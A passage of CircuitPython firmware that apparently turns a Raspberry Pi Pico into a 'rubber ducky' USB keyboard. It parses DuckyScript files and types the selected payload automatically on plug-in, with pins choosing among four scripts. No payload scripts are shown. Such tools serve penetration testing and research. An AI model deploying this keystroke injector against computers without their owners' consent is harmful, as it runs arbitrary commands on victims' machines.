Keycode.DOWN_ARROW, 'DOWN': Keycode.DOWN_ARROW, 'LEFTARROW': Keycode.LEFT_ARROW, 32 | 'LEFT': Keycode.LEFT_ARROW, 'RIGHTARROW': Keycode.RIGHT_ARROW, 'RIGHT': Keycode.RIGHT_ARROW, 33 | 'UPARROW': Keycode.UP_ARROW, 'UP': Keycode.UP_ARROW, 'BREAK': Keycode.PAUSE, 34 | 'PAUSE': Keycode.PAUSE, 'CAPSLOCK': Keycode.CAPS_LOCK, 'DELETE': Keycode.DELETE, 35 | 'END': Keycode.END, 'ESC': Keycode.ESCAPE, 'ESCAPE': Keycode.ESCAPE, 'HOME': Keycode.HOME, 36 | 'INSERT': Keycode.INSERT, 'NUMLOCK': Keycode.KEYPAD_NUMLOCK, 'PAGEUP': Keycode.PAGE_UP, 37 | 'PAGEDOWN': Keycode.PAGE_DOWN, 'PRINTSCREEN': Keycode.PRINT_SCREEN, 'ENTER': Keycode.ENTER, 38 | 'SCROLLLOCK': Keycode.SCROLL_LOCK, 'SPACE': Keycode.SPACE, 'TAB': Keycode.TAB, 39 | 'BACKSPACE': Keycode.BACKSPACE, 40 | 'A': Keycode.A, 'B': Keycode.B, 'C': Keycode.C, 'D': Keycode.D, 'E': Keycode.E, 41 | 'F': Keycode.F, 'G': Keycode.G, 'H': Keycode.H, 'I': Keycode.I, 'J': Keycode.J, 42 | 'K': Keycode.K, 'L': Keycode.L, 'M': Keycode.M, 'N': Keycode.N, 'O': Keycode.O, 43 | 'P': Keycode.P, 'Q': Keycode.Q, 'R': Keycode.R, 'S': Keycode.S, 'T': Keycode.T, 44 | 'U': Keycode.U, 'V': Keycode.V, 'W': Keycode.W, 'X': Keycode.X, 'Y': Keycode.Y, 45 | 'Z': Keycode.Z, 'F1': Keycode.F1, 'F2': Keycode.F2, 'F3': Keycode.F3, 46 | 'F4': Keycode.F4, 'F5': Keycode.F5, 'F6': Keycode.F6, 'F7': Keycode.F7, 47 | 'F8': Keycode.F8, 'F9': Keycode.F9, 'F10': Keycode.F10, 'F11': Keycode.F11, 48 | 'F12': Keycode.F12, 49 | 50 | } 51 | def convertLine(line): 52 | newline = [] 53 | for key in filter(None, line.split(" ")): 54 | key = key.upper() 55 | command_keycode = duckyCommands.get(key, None) 56 | if command_keycode is not None: 57 | newline.append(command_keycode) 58 | elif hasattr(Keycode, key): 59 | newline.append(getattr(Keycode, key)) 60 | else: 61 | print(f"Unknown key: <{key}>") 62 | return newline 63 | 64 | def runScriptLine(line): 65 | for k in line: 66 | kbd.press(k) 67 | kbd.release_all() 68 | 69 | def sendString(line): 70 | layout.write(line) 71 | 72 | def parseLine(line): 73 | global defaultDelay 74 | if(line[0:3] == "REM"): 75 | pass 76 | elif(line[0:5] == "DELAY"): 77 | time.sleep(float(line[6:])/1000) 78 | elif(line[0:6] == "STRING"): 79 | sendString(line[7:]) 80 | elif(line[0:5] == "PRINT"): 81 | print("[SCRIPT]: " + line[6:]) 82 | elif(line[0:6] == "IMPORT"): 83 | runScript(line[7:]) 84 | elif(line[0:13] == "DEFAULT_DELAY"): 85 | defaultDelay = int(line[14:]) * 10 86 | elif(line[0:12] == "DEFAULTDELAY"): 87 | defaultDelay = int(line[13:]) * 10 88 | elif(line[0:3] == "LED"): 89 | if(led.value == True): 90 | led.value = False 91 | else: 92 | led.value = True 93 | else: 94 | newScriptLine = convertLine(line) 95 | runScriptLine(newScriptLine) 96 | 97 | kbd = Keyboard(usb_hid.devices) 98 | layout = KeyboardLayout(kbd) 99 | 100 | supervisor.disable_autoreload() 101 | 102 | time.sleep(.5) 103 | 104 | led_pwm_up(led) 105 | 106 | button1_pin = DigitalInOut(GP22) 107 | button1_pin.pull = Pull.UP 108 | button1 = Debouncer(button1_pin) 109 | 110 | payload1Pin = digitalio.DigitalInOut(GP4) 111 | payload1Pin.switch_to_input(pull=digitalio.Pull.UP) 112 | payload2Pin = digitalio.DigitalInOut(GP5) 113 | payload2Pin.switch_to_input(pull=digitalio.Pull.UP) 114 | payload3Pin = digitalio.DigitalInOut(GP10) 115 | payload3Pin.switch_to_input(pull=digitalio.Pull.UP) 116 | payload4Pin = digitalio.DigitalInOut(GP11) 117 | payload4Pin.switch_to_input(pull=digitalio.Pull.UP) 118 | 119 | def getProgrammingStatus(): 120 | progStatusPin = digitalio.DigitalInOut(GP0) 121 | progStatusPin.switch_to_input(pull=digitalio.Pull.UP) 122 | progStatus = not progStatusPin.value 123 | return(progStatus) 124 | 125 | 126 | defaultDelay = 0 127 | 128 | def runScript(file): 129 | global defaultDelay 130 | 131 | duckyScriptPath = file 132 | try: 133 | f = open(duckyScriptPath,"r",encoding='utf-8') 134 | previousLine = "" 135 | for line in f: 136 | line = line.rstrip() 137 | if(line[0:6] == "REPEAT"): 138 | for i in range(int(line[7:])): 139 | #repeat the last command 140 | parseLine(previousLine) 141 | time.sleep(float(defaultDelay)/1000) 142 | else: 143 | parseLine(line) 144 | previousLine = line 145 | time.sleep(float(defaultDelay)/1000) 146 | except OSError as e: 147 | print("Unable to open file ", file) 148 | 149 | def selectPayload(): 150 | global payload1Pin, payload2Pin, payload3Pin, payload4Pin 151 | payload = "script.txt" 152 | payload1State = not payload1Pin.value 153 | payload2State = not payload2Pin.value 154 | payload3State = not payload3Pin.value 155 | payload4State = not payload4Pin.value 156 | 157 | 158 | if(payload1State == True): 159 | payload = "script.txt" 160 | 161 | elif(payload2State == True): 162 | payload = "script2.txt" 163 | 164 | elif(payload3State == True): 165 | payload = "script3.txt" 166 | 167 | elif(payload4State == True): 168 | payload = "script4.txt" 169 | 170 | else: 171 | payload = "script.txt" 172 | 173 | 174 | return payload 175 | 176 | 177 | async def blink_pico_led(led): 178 | led_state = False 179 | while True: 180 | if led_state: 181 | #led_pwm_up(led) 182 | for i in range(100): 183 | if i < 50: 184 | led.duty_cycle = int(i * 2 * 65535 / 100) # Up 185 | await asyncio.sleep(0.01) 186 | led_state = False 187 | else: 188 | for i in range(100): 189 | if i >= 50: 190 | led.duty_cycle = 65535 - int((i - 50) * 2 * 65535 / 100) # Down 191 | await asyncio.sleep(0.01) 192 | led_state = True 193 | await asyncio.sleep(0) 194 | 195 | async def monitor_buttons(button1): 196 | global inBlinkeyMode, inMenu, enableRandomBeep, enableSirenMode,pixel 197 | button1Down = False 198 | while True: 199 | button1.update() 200 | 201 | button1Pushed = button1.fell 202 | button1Released = button1.rose 203 | button1Held = not button1.value 204 | 205 | if(button1Pushed): 206 | button1Down = True 207 | 208 | if(button1Released): 209 | if(button1Down): 210 | payload = selectPayload() 211 | runScript(payload) 212 | button1Down = False 213 | 214 | await asyncio.sleep(0) 215 | 216 | 217 | 218 | progStatus = False 219 | progStatus = getProgrammingStatus() 220 | 221 | if(progStatus == False): 222 | # not in setup mode, inject the payload 223 | payload = selectPayload() 224 | runScript(payload) 225 | 226 | led_state = False 227 | 228 | async def main_loop(): 229 | global led,button1 230 | pico_led_task = asyncio.create_task(blink_pico_led(led)) 231 | button_task = asyncio.create_task(monitor_buttons(button1)) 232 | await asyncio.gather(pico_led_task, button_task) 233 | 234 | asyncio.run(main_loop()) --------------------------------------------------------------------------------